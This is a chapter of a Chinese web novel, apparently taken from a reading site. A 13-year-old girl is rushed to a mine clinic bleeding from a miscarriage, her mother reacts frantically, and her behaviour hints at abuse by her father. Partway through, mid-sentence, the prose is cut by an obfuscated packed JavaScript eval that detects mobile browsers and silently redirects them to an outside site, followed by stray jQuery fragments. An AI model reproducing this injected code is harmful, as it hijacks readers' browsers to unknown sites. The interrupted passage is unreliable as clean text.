李青的手攥紧了文件夹,王校医的言外之意,她怎么会不明白? 可林菲才十三岁,本该是围着操场追着蝴蝶跑的年纪,怎么会遇到这种事? “会不会是初潮?”李青抱着最后一丝侥幸,声音都带了颤,“她第一次来,可能自己也不知道,加上跑步太剧烈,所以出血量有点多?” “初潮不会这么疼,出血量也不会这么多,颜色也不对。而且我把过脉了,情况很复杂,必须马上送卫生所做检查。” …… 王磊是班里出了名的“飞毛腿”,校运会上拿过短跑冠军的。此刻,他受班主任李青的重托,像一支离弦的箭,冲出校门,直奔林菲家所在的矿工家属区。 矿区坑洼的土路限制了王磊的发挥,等他到了林菲家前,撑着膝盖,喘着粗气,抬手“哐哐”砸门时,回应他的只有门板的空洞回声,还有隔壁院里隐隐传来的狗吠。 门上了锁,冰冷的铁锁挂在外面,家里没人。 23. 探望 王磊心里“咯噔”一下,林菲毫无血色的脸在他眼前一闪而过。 他不敢耽搁,突然想起一个地方——矿区女人们最爱扎堆扯闲篇的露天坝,那儿有棵遮天蔽日的老槐树,女人们拎着小马扎、揣着瓜子在树下,张家长李家短的闲话,比矿上的广播站传得还快。 林菲的妈张小英,更是这儿的常客。 他调转方向,又是一阵狂奔。 绕过堆着废弃矿车的岔路口,远远就看见了那棵繁茂的老槐树,以及树下那几个簇拥在一起的身影。 果然在那儿! 张小英——林菲的妈妈,正裹着一件半旧不新的藏蓝色外套,坐在自带的小马扎上,混在几个同样打扮的大妈中间。 她手里抓着一把瓜子,一边麻利地嗑着,一边听着旁边一个胖大妈眉飞色舞地说着什么,嘴角还挂着一丝心不在焉的笑意。 脚边的地上,已经积了一小堆瓜子皮。 “张婶!张婶!你家林菲出事了!”王磊人还没到,嘶哑的喊声先冲了过去。 树下的叽喳戛然而止。七八张脸同时转过来,目光里掺着惊诧与探寻。 张小英刚扔进嘴里的瓜子顿住,腮帮子鼓着,眼神直勾勾地钉在狂奔而来的王磊身上。 愣了两秒,她才吐出瓜子皮,手里的瓜子“哗啦”撒了一地,她猛地起身,带歪了小马扎:“她咋了?是不是又跟后山那帮混小子打架了?还是逃课去矿坑边野了?” “都不是!”王磊冲到她跟前,一把拽住她的胳膊就往卫生所方向跑,少年人急红了眼,手劲大得捏得张小英胳膊生疼,“上体育课的时候晕倒了!李老师抱着她往矿卫生所跑,让我赶紧找您过去!” “晕倒?”张小英的声音突然发颤,脚步踉跄了一下,方才聊闲天的精气神全没了,眼里的慌意像潮水似的涌上来,抓着王磊的袖子追问:“她早上出门还好好的,说早饭喝了两碗粥……是不是低血糖?还是昨天写作业熬太晚了?我就说让她别熬夜,她偏不听……” “您到卫生所就知道了!再晚就来不及了!”王磊拽着她跑得飞快,张小英的外套被风吹得猎猎作响,她甚至顾不上跟旁边目瞪口呆的姐妹们交代一句,满脑子都是“晕倒”两个字,脚下像踩了棉花,好几次差点绊倒。 路过供销社时,张小英的脚步本能地滞涩一瞬。 昨天林菲写作业时还嘟囔橡皮快用完了……她本想今天下班来买。 可现在,什么橡皮,什么闲话,什么晚上要炖的红烧肉,都被“卫生所”三个字碾得粉碎。 远处卫生所的白墙已经能看见,门口挂着的红十字在夕阳下晃得人眼晕。 张小英甩开王磊的手,几乎是跌跌撞撞地冲过去,声音都变了调:“菲菲!菲菲在哪?” 守在抢救室外的李青和校医王姐闻声心头一紧,快步上前扶住她。 李青刚想开口安抚,抢救室的门“咔哒”一声开了条缝,一位戴口罩的医生探出身,白大褂下摆沾着几点暗红血渍,那颜色看得人心头发紧。 “谁是林菲家属?”他声音透过口罩传出来,急切道,“患者是妊娠八周流产导致的大出血,B型血,血库现存的库存只够应急,需要立即联系血站调血。你们谁能签字?” 张小英脸上的血色霎时褪尽,双腿一软,若非李青和王姐一左一右架住,她当场就能瘫下去。 “不可能……弄错了……肯定弄错了……”她嘴唇哆嗦着,语无伦次,“早上还好好的……说晚上要吃红烧肉……怎么会进抢救室?是不是有人欺负她了?我女儿那么乖……天天上学放学……晚上就在屋里写作业……怎么可能……怎么可能……” 声音猛地哽住,眼泪毫无征兆地滚落,她攥着李老师匆忙递来的纸巾,浑身抖得如同风中枯叶。 “现在不是纠结这个的时候。”医生把同意书和笔递到她面前,语气严肃,“患者的血压还在降,再等下去就来不及了。请您尽快签字,我们才能继续治疗。” 张小英的手颤抖得不成样子,笔尖在纸上划出几道歪扭的痕迹,才勉强签下名字。 签完字,她像被抽空了所有力气,瘫坐在长椅上,双手掩面,肩膀剧烈耸动:“这不可能...…一定是误诊...…菲菲从小就懂事,怎么会做这种糊涂事...…是我没看好她,是我每天忙着上班,没发现她的不对劲...…” 输血袋挂了起来,暗红色的血液顺着透明的管子,一滴滴缓慢地流入林菲的身体。 抢救室里,心电监护仪规律的“滴滴”声,如同催命的钟摆。 这事太过私密,李青让王磊先回学校,自己则坐在张小英身边,轻声问:“林菲最近有没有什么异常?比如胃口不好、情绪低落,或者...…提过什么男生的名字?” 张小英茫然摇头,泪水浸湿了纸巾:“没有...…她一直都很好,就是最近总说胃口差,吃一点就饱,我以为是她学习太累了,还炖了鸡汤给她补身子...…还有,她晚上总关着门写作业,我以为是怕打扰我,现在想想,她是不是在里面偷偷哭?我还骂过她,说她关门关得太紧,不像个省心的……” 她突然抓住李青的手,眼神哀恸得近乎疯狂:“李老师,这一定是误诊对不对?是不是把别的病人的检查报告弄混了?我女儿不会做这种事的,她才十三岁啊...…连男生手都没牵过……” 李青看着她崩溃的样子,心里像堵了一团棉花,安慰的话一句也说不出口。 她想起林菲每次回答问题时怯生生的样子,想起她帮同学捡笔时会先把笔尖朝自己,想起她作文里写“想当一名医生,治好妈妈的咳嗽”,怎么也没法把那个文静又温柔的女孩,和“妊娠流产”这几个冰冷的词联系在一起。 时间在消毒水的气味里缓慢爬行,走廊挂钟的“滴答”声,每一下都敲在人心上。 三个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560576|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时后,抢救室的门再次打开。 医生摘下口罩,眼底布满血丝,连声音都带着无法掩饰的疲惫:“血止住了。患者暂时脱离危险,但失血过多导致身体极度虚弱,后续需要长时间静养,而且...…心理状态也需要关注,家属多开导开导,别刺激她。” 林菲被推出来时已经醒了,她躺在病床上,脸色苍白,嘴唇干裂起皮,连呼吸都透着虚弱。 她眼神空洞地望着天花板,无论张小英如何哽咽着呼唤她的名字,她都拒绝与任何人对视,像一只受惊过度,将自己紧紧封闭起来的蚌壳。 转入普通病房后,林菲更是彻底沉默了。 张小英在一旁演尽了悲喜。时而捶打着床沿,哭嚎“我造了什么孽养出你这么个东西”;时而又压低声音,近乎哀求地哄劝“你说出来,妈不怪你,妈给你做主”;时而又面目狰狞地威胁“你再不吭声,我就去学校闹,让所有人都知道你干的丑事”! 林菲始终面朝墙壁,后背绷得像块铁板,眼皮都没多抬一下,像个抽走了灵魂的瓷娃娃,只剩下一具苍白、安静、会呼吸的躯壳。 在这片令人窒息的沉默里,林菲的爸爸林恩华的存在,反倒成了唯一一点看似正常的色彩。 他是矿上的掘井工,常年在暗无天日的井下劳作,身上总带着洗不尽的尘土与寒意。 每次下工,他都径直赶来卫生所,工装都来不及换,手里不是拎着封面花哨的言情小说,就是揣着几个苹果,然后坐在床边,笨拙地拿起水果刀。 他削苹果的手法很生涩,苹果皮断了好几次,好不容易削完,切成瓣码在饭盒盖里,晶莹剔透的,可往往放到氧化发黄,也等不来女儿碰一下。 最怪的还在守夜这事上。 白天林恩华在病房里待着,林菲虽不言语,尚算平静;可一到晚上,只要林恩华流露出丝毫留下的意图,林菲就像被点了引信的炮仗,整个人瞬间炸开来,歇斯底里地哭闹,抓起枕头砸向他,甚至疯狂地去拔手背上的输液针,尖叫声撕裂病房的宁静:“你走!滚出去!我不想看见你!你再不走我就死!我死给你看!” 夫妻俩面面相觑,终究拗不过女儿这股狠劲。 无奈,只得换成林恩华守白天,张小英守夜晚。 每次林恩华在夜幕中离开时,总会停在病房门口,回头望向女儿那道固执的背影,黝黑的脸上情绪翻涌,最终化作一声沉重的叹息,融入外面的黑暗。 班主任李青心里揣着个沉甸甸的谜团,只要没课,就会拎着作业本过来探望。 她坐在床边,绞尽脑汁地说些学校的趣事,偶尔小心翼翼地旁敲侧击:“林菲,上次你说想借的那本《城南旧事》,老师给你带来了,你要不要看?” 话音未落,瞥见林菲骤然绷紧的侧脸和更加空洞的眼神,李青立刻刹住话头,慌忙转圜:“不看也没关系,老师读给你听?英子小时候也很乖,像你一样……”